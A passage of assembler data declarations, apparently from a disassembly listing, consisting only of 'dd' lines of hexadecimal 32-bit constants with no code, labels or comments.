dd 3397D15h, 637734D3h, 40476155h, 35129598h, 17B4948h
dd 6FA36AC4h, 0DC2850E9h, 0E9D02916h, 82F58526h, 47119A20h
dd 68483415h, 0C411B872h, 29D95439h, 5C0192E1h, 32129830h
dd 0B991D119h, 1C86A80Dh, 0A7360EF0h, 0C0F79249h, 251234B7h
dd 0EDA07C29h, 0BCBE5BB8h, 0BB7C5A1h, 114CC9D1h, 0AC813C57h
dd 0CC31F274h, 4755DBE2h, 9EC1D9E9h, 0EAD13FD2h, 313FBDE4h
dd 80F41118h, 0A61BA10h, 5F81486Ah, 2921CC44h, 0CE7868BFh
dd 514BAE3h, 112A87C5h, 0C882BE77h, 1C3E5EFCh, 0BA1684Eh
dd 64276058h, 1780F043h, 0F3EC163Dh, 87E77B0Bh, 1D84DFF8h
dd 7AE6AE01h, 93D8DD2Eh, 5E80EB5Ah, 247BF4F1h, 104313ADh
dd 760831B1h, 336E4937h, 0DD5E76BCh, 0BE5B70B8h, 44768A39h
dd 0E4355C35h, 0DF417F94h, 0EFCEF07Fh, 0EEB2749h, 9706ACB9h
dd 91ED2A1Dh, 313002E5h, 1CA35CF3h, 12114AD7h, 9074AFC0h
dd 0AA3CD1D8h, 9F917063h, 0D9272FCCh, 0EAEC465Bh, 2FBCBA96h
dd 3E55F588h, 0D45D20CFh
dd 0A9B65212h, 1243CFBAh, 82308DA1h, 0B57A9A23h, 685F3B42h
dd 20643EFDh, 66F62839h, 22276832h, 4EE8008h, 9D971178h
dd 0BE99860h, 0D73A0B95h, 23A56CC7h, 2ED4BE6h, 42B8BDA2h
dd 96F5285Bh, 924E0939h, 630A4072h, 857FA7D7h, 0B4161D89h
dd 9B18FEBh, 0D132685Ch, 1770BCB7h, 0A84AE079h, 71859A5Ah
dd 1E858B2Dh, 4C2F05F3h, 58C625AAh, 0FDC6BADDh, 5F53A6ECh
dd 0C12D7882h, 607C2137h, 0C813372h, 4F14FEF1h, 22843F20h
dd 0D352A3EEh, 0C72C8E0Fh, 7D9974BFh, 5062198Eh, 0F8C07D14h
dd 101278EFh, 66BC29C2h, 0BBC0B842h, 9E60684h, 25DB4CC2h
dd 442772Fh, 16299CF7h, 0BE010FCDh, 0EC4BCBDEh, 0D011B124h
dd 0A8F0BB06h, 0C7DD734Fh, 0B968B3Bh, 0A0A93EE9h, 47360A34h
dd 0E581B507h, 80B2EF01h, 5558C5DEh, 99BE2BE9h, 19D5AD68h
dd 3238540Fh, 0E17AB24Eh, 3E124A55h, 0D9958570h, 1DDCCBC5h
dd 91F4972h, 0F5BFB43Eh, 0C76A030Bh, 770BFF01h, 8B618B55h
dd 1C725640h, 139FE687h, 38650C56h, 63B8D78Fh, 0EA0FA567h
dd 75E0DAE2h, 752ADFC6h, 0E2328E1Dh, 6BADB378h, 0FC4C10E3h
dd 99A17648h, 51DDCCA1h, 5C3B8C95h, 0EAFB7EAh, 762FA0E8h
dd 0CB1A4AAh, 0EBC3E153h, 0C1397A28h, 20BA5EB5h, 5D5D5C08h
dd 6CB79E20h, 5602BD37h, 0F177EB01h, 7BE9C119h, 0C94761Bh
dd 1D499A68h, 2DC29D1Dh, 7A86167Fh, 0E9301366h, 0BB4BBB83h
dd 3CA282FBh, 52B90009h, 3B4CDD08h, 76290360h, 24B2D51h
dd 16B2DCBAh, 0A6600912h, 0E32D6855h, 0BBCFE42h, 0EDE45669h
dd 0E760A2F0h, 5D9E2510h, 354E0323h, 57F95C10h, 6D09E4A8h
dd 0D0405EEh, 89200BAEh, 0D2B04695h, 4BF8AB5Dh, 0E716A458h
dd 0FABA5205h, 0B204B05Fh, 9C18BBB5h, 9D7276EBh, 0DF013113h
dd 53FE4625h, 119F037Bh, 0FA10CA54h, 5A0FC7C9h, 8405F004h
dd 0AA51E4C0h, 0D6B329B7h, 8CE08B8h, 8BBA552Dh, 53F77992h
dd 271FA8C0h, 75144ABFh, 0F4BD995h, 0E41D5753h, 211001A2h
dd 834D27D8h, 0CB87A20Eh, 3BEAE883h, 6F092F26h, 8823652h
dd 67F70BA9h, 92892712h, 22E92518h, 6804239Eh, 6FF83245h
dd 0EED4AADBh, 8D9FD61h, 71C58272h, 10DF50Fh, 0B963A3h
dd 149F2DADh, 0CA25817Bh, 985E2F25h, 8EB486C5h, 0DB829759h
dd 0B7021945h, 0EE7257FCh, 4D89F09Fh, 0D7820409h, 4DE60105h
dd 5538EE2Eh, 85CB6FC3h, 0D79628BFh, 0C211F41h, 0D2BDDC9h
dd 3EC1987Dh, 1111CADh, 72C703B9h, 0FA29D66Bh, 55A780DFh
dd 7E18E60Ah, 601A9021h, 0B5EF2BD9h, 451637ECh, 9EA6F931h
dd 678EE902h, 0DD5A4E8Ah, 78A04B11h, 143D5454h, 0BD79A872h
dd 0F9442E2Fh, 9B83619Fh, 0EC930404h, 9354B325h, 1249DC08h
dd 0D14C005Ch, 811C6074h, 43B0E105h, 8680625Fh, 4FE71F47h
dd 0C9E70049h, 38B52624h, 9AF6E917h, 5A05A35Dh, 26991479h
dd 2E2BB340h, 9AA6A0A0h, 0CD8180CAh, 0E0586D27h, 0B5465406h
dd 964C34DBh, 8269023Dh, 380DE97Ch, 0E6600BF4h, 9045733Fh
dd 930EA69h, 8E9492Dh, 284AC758h, 1127E6E8h, 96971970h
dd 744F0B46h, 26C16723h, 0E0B28057h, 0BF4E0B7Dh, 0F482001Fh
dd 5AD701B1h, 6217692Dh, 10EA24E3h, 0E912073Bh, 7E64A16Ch
dd 8BCEBCB6h, 5E526856h, 0D7DACE96h, 0E08BE9F1h, 0C2DA1BC3h
dd 50BF642Eh, 13D49DF5h, 494C8040h, 61905DFBh, 0FF82BD1Eh
dd 5EB7D8CEh, 0EE5F653Fh, 0FC686A7Ch, 5F60A475h, 5B6F8138h
dd 14E1DC52h, 0F2A06EB9h, 8856B109h, 0A0D24CCBh, 80C7704Dh
dd 3328EB80h, 285DD766h, 0E05D27F7h, 3DB7A98Ah, 0F8A48A75h
dd 3A215961h, 0E5E0C567h, 0E4BD7838h, 0C2D135E9h, 3930B99Ah
dd 3EEF9C5Ah, 0B2A8F813h, 68D802DCh, 0B0FF7B99h, 97ACE967h
dd 71E691A0h, 4EE60D0Ah, 40D6F72Dh, 27FDEC76h, 7056DFFAh
dd 140BCA21h, 3D9C739Ch, 8142F827h, 0C288F17Fh, 5E8A7E9h
dd 821672BBh, 41128DB6h, 42CECBC0h, 0E5555E4Ch, 250804E9h
dd 0D68CA6DBh, 6B833213h, 7686B4ADh, 71C2037Dh, 55922973h
dd 8248D5D2h, 445F315Ah, 0C6251EE3h, 0D1DDFBC2h, 0B68542BFh
dd 144C940Ch, 86697861h, 1208B468h, 0F5E9B85Eh, 77AF6D09h
dd 0AC5E1D91h, 0F309CE4Fh, 6649DFBCh, 3F773CD4h, 16B31E52h
dd 78EE2D55h, 13C46816h, 0C8524633h, 3D8F1AC9h, 1425E96Fh
dd 35AAF818h, 30BC082h, 7EF50781h, 0E431F944h, 5930F0D2h
dd 5ED6682Ch, 0D9BA90BDh, 6604CB48h, 0AE5D4934h, 192089B5h
dd 3D6F168Bh, 10FEAC15h, 5B28572Ah, 0BF40F0D7h, 2FFD09A8h
dd 53BD2E94h, 8F7925BAh, 0E9C33040h, 8CED5BCAh, 401CBEECh
dd 63AD6759h, 32880020h, 0E9F676D4h, 25BDEEFBh, 97BBF858h
dd 0E2A45F6Fh, 0FE04D1D3h, 0C9932C5Fh, 9A329020h, 0B5689AB5h
dd 2562EB54h, 686E6806h, 3AB00177h, 0F9586F35h, 3C8FFDD6h
dd 58BE588Ah, 712A0EF9h, 9EBD0324h, 0FF9CD222h, 0E2BC7549h
dd 8E8932F4h, 885D514Ch, 31136FA8h, 68382CEEh, 986B422Dh
dd 2781C874h, 9EF81699h, 27E0F295h, 0F4DB7E5Ah, 43359249h
dd 60AF8DDDh, 5B52D26h, 2C05F8BDh, 24463F36h, 7513D9Ah
dd 0E91181FEh, 24730BA1h, 0E8C58731h, 777F393Bh, 0C9C0D65Bh
dd 3D5827BDh, 0B122B12h, 0FE70BF7Bh, 276352EBh, 1DD8231Eh
dd 770C420h, 9B60A9BAh, 0AB84A445h, 287B92A7h, 9FD8B4FCh
dd 954273E2h, 5DB6C000h, 810025B3h, 2D063FCBh, 90EBC145h
dd 85F3017Bh, 13677FFh, 0F8636D8h, 1247095Fh, 0B71264E2h
dd 0C9E5B9F1h, 58AAF655h, 66255CF3h, 6EF5541Bh, 7228F2C0h
dd 0E1957C5Dh, 60EA4239h, 4C976C75h, 6D693D9Dh, 5748A9D7h
dd 0E98430EFh, 0CBAA34A5h, 7DEA004Eh, 2D396E32h, 0EF1E040Fh
dd 80D00164h, 7B29FD98h, 0FE215Eh, 1F8FC626h, 997A75Ah
dd 5BE77586h, 0BD13E941h, 8FEBF23Bh, 7FB9B644h, 0E892A5D0h
dd 399A4EA2h, 1334E64Ah, 968B1857h, 895B63D9h, 299BE9BBh
dd 8BC68E0h, 0AC3FE1EEh, 0CBABF598h, 0D04613D0h, 295E1BB6h
dd 136037F8h, 0D6EC6EC6h, 12610284h, 0BC6C12FBh, 0F1625AB5h
dd 8E527FE8h, 0E18E7BBFh, 0C22FF9E9h, 4C5E96D7h, 7E20EB5Fh
dd 4E476818h, 0C14B3B33h, 90637A15h, 28E3E969h, 39AA4B78h
dd 5FE03BE5h, 0E6764ED0h, 6A631973h, 57F8EB95h, 0B47EF99Fh
dd 6A9C03FEh, 0B7BCF901h, 53B31F5h, 0FA9DF3BCh, 0B2527C30h
dd 0C280283Fh, 0C9CE25D2h, 2202AFAh, 0C26698D6h, 5B225750h
dd 3EFBD05Fh, 0FB92C0BDh, 0E9EB016Ah, 2A49DC29h, 76D20AD1h
dd 0DED440FEh, 0C278BE50h, 680116EDh, 4655627Fh, 31E9169Ch
dd 290ADCCDh, 0B6CA83CBh, 0E93F7538h, 447AD022h, 2A06ED5h
dd 4305E801h, 4AC1EC2Fh, 0BA055C98h, 9D8BF883h, 1CA3B4BEh
dd 56537C9Fh, 80CB7EB5h, 92AB850h, 0F75812A1h, 0E47916A8h
dd 0FAA4BDF8h, 68C29EA3h, 19A102EAh, 2E5FE951h, 801AABA2h
dd 0E6076472h, 771F92D9h, 2F21FA0Ch, 40FC0B04h, 0FE66093Bh
dd 76CFE1Bh, 0C022026Ah, 6F1625CAh, 29F17F5Bh, 5A2C4CF4h
dd 80AFE14Eh, 90E10D44h, 25DD29D0h, 0CE81ACE9h, 7007E4C0h
dd 0DA44D96Dh, 6007B9DDh, 73DABF57h, 0F309FE3Ch, 252A53B7h
dd 1FAA8E48h, 0B179652Ah, 514B8B98h, 0D61921B3h, 805A10E6h
dd 0D5F75D3Bh, 0A6263D68h, 5A55248Dh, 0D0A945C7h, 715F68BEh
dd 7B32D23Fh, 1DE5D526h, 31227769h, 66032022h, 13819353h
dd 0EB12F174h, 3286F874h
dd 5BE92D18h, 6884A10Eh, 0D403B888h, 0DC563680h, 0B0500750h
dd 62C78884h, 59E32858h, 78F6DAB2h, 55EFCB4Fh, 3B91648h
dd 0FADC423Bh, 20E53C25h, 46478246h, 62E29E34h, 0F3201BAFh
dd 1F7DD483h, 56DA8919h, 40AB4B18h, 2E611DAh, 9FC20504h
dd 0F2166F7Fh, 0BCD0DDA3h, 0AEBF6607h, 0C10144F0h, 2BA8377Eh
dd 409D67CCh, 7B386877h, 2AAF4A25h, 0A19A5C0Dh, 122A1BE9h
dd 9378B66Fh, 0DCF03F0Bh, 5C44CFD1h, 5544EE52h, 590997C9h
dd 0B4F65FDh, 4DC6840Ah, 7A25025Fh, 0B0B7B2BEh, 0AA2CECE9h
dd 70CF404Ch, 0EA29C4A6h, 64F5601h, 0C412FD57h, 4C683781h
dd 8F1EC57Ah, 0DAE93A02h, 0D787E202h, 240E424Ah, 0A1F601ADh
dd 0A24DAC4Fh, 0F5A9E159h, 0AEE65F97h, 8C611863h, 0B1C62CACh
dd 60201B1Fh, 65BB0FCh, 826949E2h, 0F2380E5Ch, 0E0B73CECh
dd 0EA20980Ch, 0B8E91813h, 705A4DCh, 352D4B1Dh, 530BF242h
dd 0E9CFE874h, 404D5BD2h, 3E37CBD7h, 0CC152FEh, 586B42A3h
dd 18A84130h, 182FAE5Dh, 0AF7046BBh, 0EB1C559Ah, 31A66954h
dd 75BD981Ah, 5C963CC0h, 0B703E1A6h, 18E78050h, 3C069BC0h
dd 0F7A80306h, 0D18AC4F4h, 4222ADC6h, 41597BF7h, 8C3502B7h
dd 0D8BA43A4h, 146812C7h, 72D88C28h, 0B4BEABCh, 0FE94DDCCh
dd 76E1F280h, 5BA0FD2h, 449D7362h, 1463281Bh, 0A726509Fh
dd 62776012h, 13B6CBBAh, 38FB5451h, 24972BF2h, 1EA8D0BFh
dd 101A5E3Eh, 4582184Fh, 5404B745h, 796B6789h, 0AB215404h
dd 0D8D99162h, 0B70992F3h, 0E925DE1Ch, 0D156E2F5h, 2CA5BDEBh
dd 0F3400BE2h, 0C52F228Bh, 28AAF671h, 74A6028Eh, 0D2F74BE8h
dd 0BBD92C3h, 2E2B61BBh, 8DE3DEA0h, 724A635Fh, 404EE403h
dd 16407402h, 0F9064D1Ch, 0E90840A0h, 55B10B26h, 34CB2D87h
dd 465E0541h, 5618C268h, 0EB89ACF1h, 19A1E0D7h, 5E54DE6Fh
dd 5A7E4EE1h, 8F0621E6h, 594B2F0Bh, 0C2F4B6E8h, 2BE4D936h
dd 98974CFAh, 0DF3DA664h, 20D4964Bh, 0D6587CDAh, 6080744Bh
dd 0F3CD18BDh, 916F3E93h, 0EC0291CEh, 0C5F84921h, 0FB87CE6Ah
dd 0DFECB614h, 355EA28Ch, 255F2DC5h, 0DD0C7854h, 0F317AFh
dd 68D15047h, 2128BD05h, 273D144Ch, 4156E8B7h, 0BEC1C0D3h
dd 912EE590h, 0C185429Dh, 302B5D3Eh, 9A1EE26Bh, 0E4010F4Fh
dd 4635F5FAh, 7CA16684h, 10BA806h, 1E873E11h, 0C46BB9E9h
dd 9DDBFBDFh, 0E9823C52h, 4E56CC1Dh, 5317266Fh, 0CBB0712h
dd 0A5181428h, 21132492h, 8CFE57C7h, 0D8AD9E47h, 0EB35045Ah
dd 0E07F3F77h, 332D68A9h, 59517670h, 0F1996E29h, 70EB0F55h
dd 0F6AEE97Ch, 0D84F4182h, 0A0A705E0h, 27435074h, 5D542F1Fh
dd 596008A0h, 15F8720Eh, 67F8BD3Eh, 0C0D79783h, 0C629CB78h
dd 0D7260390h, 0FC523BF3h, 0EAD12FB7h, 2EC9DA69h, 9D2CC10Ah
dd 0C232D3D0h, 0C45950F3h, 41CA888Eh, 0C0DBE9D4h, 100E3C6Bh
dd 54A65F24h, 0C3D1EE06h, 0D44A2094h, 56760503h, 11293B0Bh
dd 7A9B6F8h, 58611DEEh, 4E0765FFh, 279B39EBh, 0EAF31672h
dd 0BD759191h, 68C2532Ch, 0EC7D250Fh, 1E0E9F27h, 3E723D13h
dd 384323CBh, 1DAC9510h, 8BB9CA80h, 8E2806EAh, 7EE69C4h
dd 222D46AFh, 3F7EF62Ah, 81745EC8h, 1D6101FAh, 2B2AA331h
dd 65001713h, 42F1105Bh, 680625E9h, 28E08530h, 131AF63Fh
dd 0BEE442B4h, 0F4261232h, 325CFA67h, 0D983CFC2h, 7C8360B9h
dd 7F4E276Dh, 8072DCAh, 5DA955Dh, 0AAE8419Dh, 3916B6B2h
dd 4C9BA6AEh, 95B3208Ch, 0C4DF6D8Bh, 0B4AEA1E3h, 71B38003h
dd 0EF41F199h, 0DB5FC382h, 7D0C308Fh, 8D0CB31Dh, 22D176E9h
dd 0B71895BEh, 902E5A34h, 0F001757Dh, 11B874Ch, 0E6A62DAh
dd 476BA508h, 0F24E94F7h, 0C3478510h, 818524ABh, 491876Ch
dd 7434F482h, 0AD5A139Eh, 870E990Fh, 48756D30h, 21A0A5CEh
dd 40C45DEBh, 0D1041B08h, 0C881EBE7h, 5F20DFF7h, 5FD829Eh
dd 8AA1F825h, 0F4ABFC2Fh, 5E28E200h, 0B8D16434h, 25992501h
dd 72EB1CD6h, 0C43A5B3Ah, 4022E396h, 0F780A688h, 55402CD0h
dd 0FEF309FBh, 669727F2h, 99681371h, 0FA2DAA01h, 89B4BC6Ah
dd 9BB87553h, 8782BC50h, 0A9C2D331h, 82B4FA19h, 1A7AD708h
dd 440F5675h, 69766215h, 638C2A48h, 4D5EF020h, 7D5FD382h
dd 0C569EF59h, 86E90BECh, 4DC0BF5Eh, 9F16ED0Ch, 0DB6FE160h
dd 0BAB2A5Bh, 0FCAB8DCFh, 16FA05CEh, 5E521BC4h, 4E8E13B4h
dd 92BEB35Bh, 68A230EAh, 771D4CABh, 389C5D14h, 8BE37165h
dd 0FF465BEAh, 766A3009h, 0CB60FD43h, 2C1BC7CAh, 0BC843652h
dd 8960290Fh, 0C9815AD1h, 0A008D704h, 3E83413Fh, 407D4BEh
dd 2CF803F1h, 9544B4A7h, 0A840C5D6h, 72F4B106h, 9B05FA04h
dd 0B682DD89h, 8C2540F5h, 0F8524A74h, 5DD21654h, 871064EFh
dd 0BC280017h, 0D54C092Bh, 33845B41h, 0FD252DEAh, 5E632860h
dd 0C01468F6h, 53CC8431h, 7197CB46h, 0AF680164h, 7A31C21Ah
dd 0C5FEE4C7h, 0FCD1E04Fh, 0B860D089h, 331613DFh, 0B528BA0Eh
dd 0CBB2591Ch, 3AE4228h, 96F28107h, 764EA3A2h, 0C2E93C01h
dd 3021D82Bh, 8BA106Bh, 0D4FA247Dh, 0ADA04F32h, 0E829D957h
dd 53FA5D5Bh, 2843065Fh, 0E664CB1Ah, 5C0BC50Eh, 7F992C68h
dd 67B989Fh, 3A1AB512h, 0EB16EDDEh, 0F7230C0Eh, 60C48D89h
dd 2CD03A28h, 0F368267Eh, 0A99F424Ah, 0FAB85905h, 0CB7B84h
dd 4030F605h, 4EC39AC8h, 3E60FA5Bh, 42B4786Eh, 5E084050h
dd 0EECDE6B7h, 5C95BFh, 0EB09E1A4h, 0ED8A7EA2h, 163A3C0Dh
dd 0EEA34E92h, 7EECB8C0h, 5044BEFh, 21D6C70Fh, 4AA7C7AEh
dd 0E8C107E6h, 0C3C8940Ah, 0A8EDCC4Ah, 449CDF22h, 62712320h
dd 0CCD61202h, 338C292Ch, 0BD985B2Bh, 859759BDh, 0D857D268h
dd 4F757EC7h, 49EF325Bh, 1A5F5A29h, 95F702CAh, 0DF8C4058h
dd 2DC12517h, 0E69FC070h, 6D681C6Bh, 0E97C4433h, 8896E038h
dd 2A20D177h, 1414B572h, 7F4B42B5h, 6CA5E2C5h, 0E9D49F1Ch
dd 2DA86B88h, 3C7AF548h, 0EA584BC9h, 29357A1Ah, 0BB0E9Ch
dd 63444360h, 0BC3F9F35h, 980120BBh, 0B3A04F2h, 0C389AC79h
dd 0E5D04D87h, 43EE2FB1h, 14090C90h, 0F60C61D2h, 17D42242h
dd 254F1FE9h, 5E164A59h, 0C5E042BFh, 1203085Ah, 1DEEEBAh
dd 0C1FE00DAh, 7EC35A36h, 2195DFE9h, 58F468F7h, 0DD17C766h
dd 32419039h, 0E6A073A2h, 9CBDE4FFh, 0BF2D0525h, 8035C678h
dd 5464E961h, 685802BEh, 0E9764061h, 0A9787F30h, 0E4147CEBh
dd 50CDC70h, 804FE003h, 0A3E9D808h, 2CE9884Ah, 4FC42786h
dd 87882AE0h, 0E358092h, 0DBB2024h, 58C70Bh, 0DA05D939h
dd 0E2C1246Ah, 0FBEF0BABh, 972093CCh, 0ED801C4Ah, 62CDC91Ch
dd 0A4AC8204h, 2D0BE6D0h, 0C0390E52h, 4A190966h, 51C8A062h
dd 4BF5B97h, 0ABE2A620h, 1C401C0Eh, 0E5C1DC27h, 2C73B42Bh
dd 0CB730778h, 0EF5F5A92h, 7D82F1A3h, 0EB505266h, 0D478E174h
dd 0D1F65A00h, 0C4FECC86h, 3FF40780h, 854FB353h, 0BC9685CBh
dd 49D5A53h, 107EBA20h, 9033EC39h, 10267D08h, 0AB826213h
dd 6B69CE56h, 0C9C7A22Dh, 2CDDF868h, 0EBD4442Bh, 0B480A965h
dd 4B6068A5h, 1129D02h, 59EE397Fh, 0BA49B941h, 0E47BA504h
dd 48BDD73Fh, 97DB8E07h, 1C52859h, 0CD017C95h, 755A3A12h
dd 1B5AD2Ah, 0F0113C2Dh, 0C1CE0153h, 0A72FC52Ch, 16D321EDh
dd 6835C012h, 0F0257B46h, 6D10024Eh, 0B50DC61Fh, 50D705F0h
dd 68C661ABh, 0BD438DBh
dd 0B002CFE9h, 0BD2E263Dh, 1C4DAE98h, 55804F99h, 0C76D35BDh
dd 29B9028h, 253A0417h, 8C5465E9h, 49A9240Fh, 0CDE0DD0Ah
dd 5C95E54Bh, 65997179h, 0F8FC7E15h, 1943F107h, 39B91051h
dd 46651E0Ah, 99AE591Ch, 0A6F06A1Ah, 556231B7h, 5A5F064h
dd 24BE14AAh, 0D65C9900h, 0F7CB810Ah, 4F170E1Dh, 0CD08DB12h
dd 686603C2h, 0A5CF458Bh, 0CC864C84h, 544A5649h, 0C427E88Dh
dd 0B92AAA41h, 2412D3CEh, 0F416BE24h, 0F620BB06h, 0C3B90012h
dd 812AD044h, 7C3845E1h, 500C60AAh, 16528E70h, 9162AFE9h
dd 2C77DA5h, 7BCAC851h, 22AAC672h, 351EBDACh, 0F17F0AF1h
dd 436862C2h, 5FE49971h, 8B13B429h, 5988F2E3h, 91899FF2h
dd 591A75E5h, 26D778DFh, 26E1CE89h, 2996AF77h, 3B26EF26h
dd 71552841h, 0BF69D70h, 44C22FD7h, 0BF9ED758h, 0BB5B80BCh
dd 0C72DE085h, 11D2277Bh, 720907Eh, 67CEE917h, 68E0FEACh
dd 5CB4184Bh, 0F735D390h, 0A5E1AB88h, 83A120h, 8141A201h
dd 6D1EB1E2h, 0F87A3C60h, 7C790734h, 2719EC1h, 0AFD7516h
dd 0D70EC15Dh, 0FE7B006Eh, 66012444h, 2D91097h, 0F9C73980h
dd 0E94EF785h, 4A18ACC2h, 0A1B40DB8h, 0CD202B7Eh, 0F3548C7h
dd 0CF017CB4h, 2408EF0Ah, 0A9F7029Fh, 0C6C19A27h, 1F2C3FFAh
dd 54459548h, 0D0B84192h, 2BD2D4Eh, 0FD60B289h, 30C3D82Fh
dd 0B0286EB3h, 9576045Bh, 0B704C546h, 0F8CF8037h, 8416F4AFh
dd 0DABAE915h, 215F11BAh, 15CCA01Ah, 0AB5A4404h, 5845F17h
dd 4A4DF7EEh, 0C7A42CABh, 0D7516648h, 0A1BB7C45h, 448839ABh
dd 5F76B98Bh, 257884B8h, 0C85E6E7Bh, 0E54665EFh, 955898A4h
dd 9341402h, 0DEECE20Bh, 5C7C7A90h, 267E4358h, 2576543Ah
dd 78AF1A74h, 0F1084C3Fh, 0F74DD23Eh, 9CA0814Eh, 76BF00ECh
dd 2BFE2420h, 0F702044Bh, 0CBE3B9D7h, 9C6FDF8h, 548211B9h
dd 0ECB3F7E9h, 0C4DC2F73h, 571EF351h, 36ADDE56h, 0DF606F10h
dd 0D1357149h, 78694260h, 8FA04773h, 40DD964Fh, 9F8F9EECh
dd 6B0C8099h, 0DFC1CD41h, 7ACA4C05h, 0C108829Fh, 0B90088E7h
dd 0D63A0DBAh, 0BBE3455h, 91300BA1h, 43F282B6h, 5BC37A97h
dd 0D530BF5Ah, 260E53EFh, 2E5D1BBEh, 0A56861C4h, 0DBDFC205h
dd 43E9E1E8h, 65B26BB8h, 0BFB6EE78h, 6B9D0419h, 0D2909313h
dd 12EEC381h, 0FA38054Dh, 17200AC9h, 132F1F4Bh, 2ADF8201h
dd 60772EE3h, 9008E81Dh, 16DD3C11h, 20CE7A28h, 64B81278h
dd 272D2574h, 160B4475h, 9C1FAEE9h, 41977787h, 0E72F5C28h
dd 2908D4AEh, 6842F24Fh, 9F177A07h, 41CC46FEh, 644F13D8h
dd 0E93D0A33h, 0C8890907h, 0A1E22A54h, 0FDF14A98h, 284C83E0h
dd 0CA5AE37Ch, 73BE4300h, 0B03A6526h, 0A0C44CE8h, 17DC2C28h
dd 44E1BDFh, 0F132DA2h, 0C24AE456h, 4E9EF7BEh, 58BECADh
dd 0E98931D4h, 89F476C3h, 0BF8633CFh, 0F76296D5h, 753FEB17h
dd 0F5EB8A70h, 6E753532h, 0EA81468Bh, 0C84910AAh, 5BB71CE9h
dd 8D79095Dh, 7BCBC5F9h, 38D026DEh, 5E5D73A0h, 581D9213h
dd 0E35EBA90h, 0C83CC97h, 4B8E2AE9h, 45D527DEh, 150200F3h
dd 69FA09E9h, 546BEDFFh, 807D643Bh, 7F136568h, 8ABE417Ch
dd 91F50258h, 0DD34C14Eh, 0A1E60E58h, 658F6217h, 20B8DA0Eh
dd 59554243h, 7A09905Dh, 1732D53h, 0F3B9606Eh, 68585440h
dd 383B5A16h, 0E93CC8F9h, 350EE0CFh, 4BA9DE4Fh, 1886A882h
dd 5BBEFB70h, 97515055h, 60EC413Dh, 5472E8F8h, 58BE2B48h
dd 97135E07h, 0FAD3EEF9h, 0A08735D4h, 40346851h, 0EAE94650h
dd 5320C0A0h, 995ED5BBh, 0EA7EE397h, 5EDC0Eh, 68D831ADh
dd 0FC99398Dh, 53F9BABh, 6D95627Ah, 976AF704h, 0FF0F817h
dd 0B3317617h, 0EF4DD4BAh, 0B5ED18E0h, 0A8605552h, 68505185h
dd 7B2C131Ch, 35A80928h, 248B3232h, 315FD158h, 36E77CD0h
dd 0B2415A7Ah, 5FF7E677h, 5AA3805Dh, 460BD261h, 54D364E9h
dd 203760E7h, 28CA09D7h, 5E1607F1h, 408B03F9h, 0EF8961A2h
dd 0F37175C1h, 5E544709h, 0E9F5FC53h, 0E984E751h, 62EC07F3h
dd 3B0A6581h, 0A4D6F078h, 43CCB297h, 2F14DE1Bh, 9F6A2809h
dd 0B5B2F00Bh, 0D2808277h, 7B1DD59h, 0E0207E89h, 82DFD4E9h
dd 4E00CF09h, 0E281492Fh, 0A16FC01h, 0C1ACE90Fh, 38FB5397h
dd 669F5AB6h, 0CA012610h, 0B30102Dh, 6E3C1h, 0ED90BF11h
dd 9FA9C21h, 1ED5993Ch, 0FF665F8Fh, 9FA22A44h, 0E436F116h
dd 205A1C3Fh, 9F08F8E0h, 36C8E80Fh, 0A49EBB0Fh, 1FFB38FDh
dd 449456F9h, 0BED4B718h, 40C8382Ch, 0B27E2CD7h, 0F828691Dh
dd 52F076BAh, 0F0C9B650h, 914A5A7Ah, 0CCAD6D16h, 22A6E982h
dd 7EC26F56h, 0E551DFB8h, 0CF53AFh, 57024932h, 366BF681h
dd 8D25B0Dh, 1928AC7Bh, 0C376710Fh, 0D3EE6619h, 0F680117h
dd 5B7DB312h, 0C4006E21h, 0F6BB9AF7h, 8CE9132Bh, 9348F2BCh
dd 2B9F7DBBh, 0D50068F9h, 685E292Eh, 199D072Fh, 10F0F3BAh
dd 83532D1Fh, 0EE80885Ah, 0F7241CB7h, 904A355h, 3D87122Bh
dd 0BF00DF84h, 3E477F57h, 400BB960h, 4EE9F929h, 30610B39h
dd 0BD25402h, 923F4451h, 8EFFCF60h, 78257FBBh, 0F6BF910Ch
dd 13A1D5E6h, 6A42FB68h, 0E5A21167h, 0CC56666h, 1090E953h
dd 0B2EC5412h, 5DF8E297h, 0E682E01Eh, 0B5BE7D7h, 65D49D17h
dd 246D35Ah, 0D77FE955h, 25A7955h, 671B1879h, 0DBF8EE62h
dd 0D1B75F4Ah, 0E985D7D0h, 4A43BCBDh, 0CB685E44h, 3FDEB2ACh
dd 0CB5F19D9h, 0F28916D6h, 4AD51409h, 9E517551h, 35647749h
dd 959DDD20h, 1D40D942h, 0D8B96F44h, 4F8FF501h, 3FF0223Eh
dd 0BB5794DEh, 0DDD9F79Bh, 33C1F9E9h, 0E3F24015h, 3A2D3496h
dd 0EB4480D5h, 12659640h, 0F538E948h, 79C8EE95h, 0CB1C2CBEh
dd 1FEC0162h, 0A3F81512h, 96954FB6h, 3325A68Dh, 0C51B9B7Fh
dd 806943B9h, 0BD55C63Bh, 5C8E09C8h, 89040466h, 0AF0ED41Dh
dd 0C34E6504h, 67AAF6BBh, 14056807h, 56876BA9h, 0A01C355h
dd 3FDC7734h, 0F90A2CBEh, 9ACC134Fh, 31485E38h, 6F2556B2h
dd 575F2C9Ah, 0BDC1FEA5h, 83DCD930h, 0B7CC9FB0h, 7CA708A4h
dd 0C2947F2Dh, 5B78CA80h, 0F445BC27h, 0ED3A08A0h, 0F2D628AFh
dd 0A2E94214h, 3FF83F8h, 0F1B74E07h, 9B136AD9h, 779C38AAh
dd 0E57C68EFh, 3981C674h, 11E93AD6h, 9980187Dh, 5E3BAE60h
dd 0B1C4239Ch, 0B7BE33B0h, 0FCD210CBh, 8100EBF8h, 6145ADF2h
dd 0FAD6316Ah, 0D0C74A95h, 360A7296h, 0CCA0504Bh, 5538E7D1h
dd 0C7810A60h, 4516A6CBh, 72802169h, 2D1C58F6h, 0F2DC16C0h
dd 12576D0Bh, 88F056FFh, 0D112AD66h, 2202F71Eh, 0D0028006h
dd 4E58F0DCh, 6A7CBE9Dh, 0E8962DE9h, 5B6F90FDh, 9EECB950h
dd 44BE5F56h, 0BB5E05F3h, 0E9CCE5E1h, 11870C48h, 53B0D6F7h
dd 10C8E412h, 0EA19C0FBh, 862D76B2h, 832A809h, 0A4FFE909h
dd 9380521Eh, 7C0873F5h, 34CA4934h, 5F16809h, 98C4C454h
dd 1C5DCBF0h, 0FD58C129h, 13FEAD50h, 485346h, 0CC039344h
dd 0F9510156h, 0FB080589h, 5D25D2E7h, 0E9BEB877h, 77BE692Ah
dd 5436E5DEh, 7F80B874h, 60579E8Fh, 516D1105h, 0B09BB31h
